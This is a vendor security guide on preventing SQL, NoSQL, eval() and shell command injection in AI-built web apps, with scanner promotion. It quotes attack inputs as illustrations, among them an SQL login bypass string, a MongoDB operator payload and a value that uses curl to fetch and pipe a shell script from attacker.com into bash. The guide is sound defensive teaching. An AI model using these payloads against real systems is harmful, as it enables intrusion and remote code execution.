Code Injection Prevention: SQL Injection, eval(), and Command Injection in AI Apps
Quick answer: Reduce injection risks by keeping untrusted values separate from query and command structure. Use parameterized database APIs, validate expected input types, and review any interpreter that accepts user-controlled expressions. Dedicated parsers and direct process execution still need limits appropriate to their use.
By Gabriel CA · Kraftwire Software
· 13 min readKeep untrusted values separate from query or command structure. Use parameterized SQL APIs, including the supported parameterized methods of an ORM. Validate NoSQL inputs against expected types rather than relying only on coercion such as String(). Avoid passing untrusted text to eval() or new Function(); a parser such as mathjs still needs restricted functionality and resource limits. For external programs, execFile avoids a shell by default, unlike exec, but arguments and file paths still require validation.
What Is an Injection Attack?
Injection occurs when untrusted input alters the instructions an interpreter executes. The impact depends on the query or command, the privileges of the process, and the data it can reach. It can include unauthorized reads or writes, and in some configurations command execution.
Review generated queries and interpreter calls in apps built with tools such as Lovable or Bolt.new. Trace whether user-controlled data can reach operations such as eval() or become part of a query’s structure.
These live figures describe all scanned sites. They do not establish prevalence for an AI-built subgroup, compare development methods, or attribute findings to AI generation.
30% of the 119 live sites SimplyScan has scanned (36 sites) have at least one high or critical security issue.
The average security score across the 119 live sites SimplyScan has scanned is 86 out of 100.
Investigate an injection finding’s actual impact and privileges independently of the aggregate score.
What Is SQL Injection and How Do You Prevent It?
SQL injection can occur when untrusted values become part of SQL syntax. Review query construction in every path that accepts external input, including code generated by an AI tool.
How SQL Injection Works in AI-Generated Code
This deliberately vulnerable login-query example interpolates input into SQL. It also illustrates an unsuitable password check: production authentication should verify a password hash through an appropriate authentication implementation.
If an attacker enters ' OR 1=1 -- into the email field, the resulting SQL becomes:
Here -- comments out the rest of the line, and 1=1 makes the filter true for all visible rows. The query does not select a guaranteed administrator or a deterministic first row. A login implementation that accepts a returned row without proper password verification could then be bypassed.
The Impact of SQLi
Depending on the SQL engine, query shape, driver, and database role, injection may allow:
- Data reads: A compatible
UNION SELECTcan expose permitted data from tables such assecretsorbilling_info. - Writes: Injected
UPDATEstatements require an execution path and privileges that permit them. - Destruction:
DROP TABLErequires the relevant privileges and a query path that accepts the statement. - OS interaction: Features such as SQL Server’s
xp_cmdshellor PostgreSQL’sCOPY TO PROGRAMrequire additional configuration and powerful permissions.
Fix: Use Parameterized Queries (Prepared Statements)
Pass data through parameters rather than interpolating it into SQL text. The following node-postgres example demonstrates that boundary; authentication and access-control checks are separate.
The following Supabase query uses a structured filter rather than constructing a SQL string. It still relies on the intended table privileges and RLS policies:
Why this helps: Parameterized values are handled as data rather than being inserted into SQL syntax. This is a property of the API and query handling, not a guarantee about the number of network packets. Dynamic identifiers and raw query fragments need separate controls; do not concatenate untrusted values into them.
What Is NoSQL Injection and How Do You Prevent It?
MongoDB queries can also be vulnerable when an application accepts caller-controlled query operators. Avoid passing arbitrary request objects into a database filter.
How NoSQL Injection Works
This deliberately vulnerable example passes fields from req.body into a MongoDB filter without validating their types. It is not a suitable production password-verification design:
With this filter shape, an object such as { "username": {"$gt": ""}, "password": {"$gt": ""} } changes equality checks into comparison operators. It can match a document whose string fields satisfy those conditions. Which document is returned depends on the data and query execution; it is not a guaranteed administrator account.
Fix: Type Casting and Schema Validation
Explicit Casting
This coercion turns the values into strings, but it may accept unintended inputs. Prefer rejecting values that do not have the expected type, as in the validation example below.
Use Zod for Validation
This schema requires string values for the named fields. Add length, format, and unknown-field handling appropriate to your endpoint; the example is not a complete login implementation.
Use Explicit Operators
After validating the value’s type, an explicit $eq filter makes the intended equality operation clear. This example retrieves a record; it does not authenticate a password.
For a deeper dive, see our MongoDB Security Guide.
Why eval() and the Function() Constructor Are Dangerous
Both eval() and new Function() can execute supplied text as JavaScript. Direct eval can access its lexical scope, while the Function constructor executes in the global scope. Neither is appropriate for evaluating untrusted text as general-purpose code.
Dynamic Features to Review
Review how dynamic features evaluate input, including any use of eval() in:
- Calculators that accept expressions.
- User-defined filters.
- Templates with executable expressions.
The Risk: Remote Code Execution (RCE)
If attacker-controlled text reaches server-side eval(), the executed code may access capabilities available in that context:
- Environment values through
process.env, includingSTRIPE_SECRET_KEYorDATABASE_URLif present. - Files through
fs, subject to process permissions, such as/etc/passwdor application source. - Process or network APIs, if available.
Browser execution has a different boundary; it does not automatically provide the server’s filesystem or environment.
Use Restricted Parsers and Explicit Operations
Do not pass untrusted text to eval(). Choose a narrower operation:
- Math:
mathjsprovides an expression parser, but restrict powerful functions and impose resource limits for untrusted expressions. Keep it updated. - Logic:
json-logic-jsevaluates a defined rule format; review the operators and data you expose, especially any custom operations. - Property access: Bracket notation with an allowlist limits the fields selected in this example. It does not authorize access to the profile itself.
What Is Command Injection and How Do You Prevent It?
Command injection can occur when untrusted input becomes shell syntax. Avoid shell execution when an in-process API or direct program invocation can perform the task.
The Vulnerability
In this shell-command example, a value such as file.txt; curl http://attacker.com/shell.sh | bash introduces additional commands. Whether those commands succeed depends on the environment and permissions. Do not execute this example against real data.
Fix: Use execFile Instead of exec
The exec API passes a command string to a shell such as /bin/sh or cmd.exe. By default, execFile launches the named program with separate arguments. The following example illustrates that distinction only: its file path still needs authorization and containment checks before deletion.
With the shown execFile call, shell punctuation remains part of an argument and does not start another shell command. That does not make arbitrary filenames safe: path traversal or a permitted path outside the intended directory can still delete the wrong data. Prefer a narrowly scoped filesystem operation where possible. The shorthand file.txt; curl... illustrates punctuation inside that argument, not a command that this call executes.
Hapi.js and Python Injection Prevention
Injection is not limited to Node.js. Different frameworks require specific defensive patterns.
Hapi.js Injection Prevention
Validate incoming values with a schema such as Joi before using request.payload in a sensitive operation. Joi validation does not replace parameterized queries or context-appropriate output handling. The server.inject API simulates a request for testing; its name does not make it a code-injection primitive. See our Hapi.js guide.
Python Injection Prevention
For drivers whose parameter syntax uses %s, pass values separately to cursor.execute():
- Parameterized value:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) - Unsafe with untrusted input:
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
For external programs, pass an argument list through subprocess with shell=False, and validate the program, options, and paths. Avoid shell scripts or platform-specific launch behavior that can reintroduce shell interpretation.
Advanced Injection Prevention Checklist
To review your AI-built application for security risks, follow this rigorous checklist:
Parameterized Queries
Do not interpolate untrusted values into SQL syntax with template literals (` ``). Use parameterized APIs for values and allowlisted choices for query structure.
Input Validation
Implement a "deny-by-default" strategy. Use Zod to validate that every API input matches the expected type, length, and format.
Serialization
Avoid unsafe deserialization. If you are using JSON.parse(), ensure the resulting object is validated before use.
Environment
Run your application with the "Principle of Least Privilege." The database user should only have access to the tables it needs, and the web server should not have root access.
Headers
A Content Security Policy can restrict browser script execution and resources. It does not prevent server-side SQL or command injection. See our CSP Guide.
Scanning
A URL scan can flag selected observable patterns, but source review is needed to trace server-side data flows. Review uses of eval(), Function(), and raw query construction in the source; a pattern match alone does not prove exploitability.
Reviewing Generated Code
Generated code needs the same input-boundary review as other code. Inspect the APIs and query construction actually used, rather than inferring their safety or origin from the tool that produced them.
Review generated code and deployed configuration directly, and test application-specific behavior alongside the supported automated checks. Investigate individual findings and their check definitions before attributing a cause or interpreting the aggregate category.
11% of the 119 live sites SimplyScan has scanned (13 sites) have at least one medium-severity architecture issue, such as a library with a known vulnerability or no rate limiting.
Prompt Injection and API Key Leaks
Prompt injection attempts to redirect an AI system through untrusted instructions. It is distinct from SQL or shell injection. If a model or its tools can access secrets, test the boundaries that stop those values from being disclosed or used outside the authorized task.
For editor workflows, see the Cursor and Windsurf review guides.
Performance During Security Changes
Measure the effect of validation and query changes on the requests your app serves. Performance measurements do not establish whether an injection defense is correct.
When you implement heavy security middleware or inefficient validation logic, you might inadvertently slow down your app.
79% of the 119 live sites SimplyScan has scanned (94 sites) have at least one medium-severity speed issue, such as render-blocking scripts or no route-based code splitting.
Schema tools such as ajv or zod have different implementations and performance characteristics. Benchmark the version and validation path you use, while separately testing the security boundary. See our performance security guide.
Answer Engine Optimization (AEO) for AI Apps
For discoverability, check crawler access, structured data, and the text available without client-side execution. These AEO checks do not guarantee indexing, ranking, or citation by an answer engine.
SimplyScan reports separate observations for:
- Security headers: Selected CSP and HSTS checks.
- Accessibility: Selected page signals, which do not establish WCAG conformance.
- Email configuration: DNS signals for SPF, DKIM, and DMARC, not authentication of an individual message.
Use each finding’s coverage and evidence to decide what to investigate; a category score is not a security or discoverability guarantee.
How Do You Scan for Injection Risks?
SimplyScan’s URL security scanner checks selected public signals. Combine those results with source-level review and tests of the paths that handle untrusted input.
The free URL scan grades eight categories in about 30 seconds. Its checks include recognized secret patterns, selected anonymous backend responses, and headers such as X-Frame-Options or Content-Security-Policy. Public-file probes include selected .env paths; they do not exhaust every possible exposure. Source-level uses of eval(), exec(), and raw SQL need separate review. A URL scan does not establish that authentication, cross-user access, CSRF defenses, or model prompt handling are correct.
Pro Monitoring includes Pro scan credits for full reports. See pricing for the allowance associated with your chosen option.
The free scan has a limited rescan allowance. Pro Monitoring includes scheduled rescans with change alerts, uptime checks, status pages, and integrations with Slack, GitHub, and Linear. These features help track observed changes and availability; they do not provide complete injection coverage.
Scan your app for injection risks now
Related Guides
- XSS Prevention Guide
- CSRF Protection and Security Headers
- How to Fix Exposed API Keys
- Is Vibe Coding Safe?
- Vibe Coding Security Checklist
- OWASP Top 10 for AI Apps
- AEO for Vibe Coded Apps
- Uptime Monitoring Guide
- MongoDB Security Guide
- Supabase Security Checklist
- Hapi.js Injection Prevention
- SimplyScan vs GitHub Advanced Security
- SimplyScan vs Snyk
- SimplyScan vs Semgrep
- Find Exposed Secrets in Code
- How to Remove Secrets from Git History
- What is Vibe Coding?
- Cursor Security Checklist
- Windsurf Security Guide
- Android vs iOS Security for AI Apps
- Application Security Checklist
- Security Audit Procedures
- Security Triage Workflow
- AI Visibility AEO Guide
- WCAG Color Contrast Guide
- SPF DKIM DMARC Explained
- Uptime Monitoring and Status Pages
Pro Monitoring costs $24/month.
Frequently asked questions
Does using an ORM like Prisma or Drizzle protect me from SQL injection?
Parameterized ORM methods can keep values separate from SQL syntax. Raw queries are not inherently unsafe if the API parameterizes values correctly, but concatenating untrusted text into raw SQL can introduce injection. Review the exact API, including handling of dynamic identifiers and query fragments.
What injection risks should I review in AI-generated code?
Review the generated code’s input boundaries directly. The scan corpus does not establish how frequently AI-generated code contains injection flaws or why a model produced a particular pattern.
Is SQL injection still a relevant threat for modern web applications?
Yes. A modern framework does not prevent a developer from constructing unsafe raw queries. Review the query API and data flow and test the input-handling boundary; this article’s scan figures do not measure SQL injection prevalence.
How does NoSQL injection differ from traditional SQL injection?
SQL injection alters SQL syntax. MongoDB operator injection can occur when a request supplies query operators where the application expected a simple value. Validate the expected types and construct filters explicitly rather than accepting arbitrary request objects.
What are the safest alternatives to using eval() for dynamic logic?
Avoid evaluating untrusted input as JavaScript. Use a task-specific parser or a defined rule format, restrict the functions and data it can access, and set resource limits. For property access, an allowlist can restrict the selected fields but does not replace authorization.
How can I automatically detect injection risks in my AI-built app?
Combine source review, tests, and tools whose documented rules cover your code and deployment. SimplyScan’s URL scan checks selected public exposures and inline-script patterns; it does not inspect all server-side SQL or command execution paths or prove that they are safe.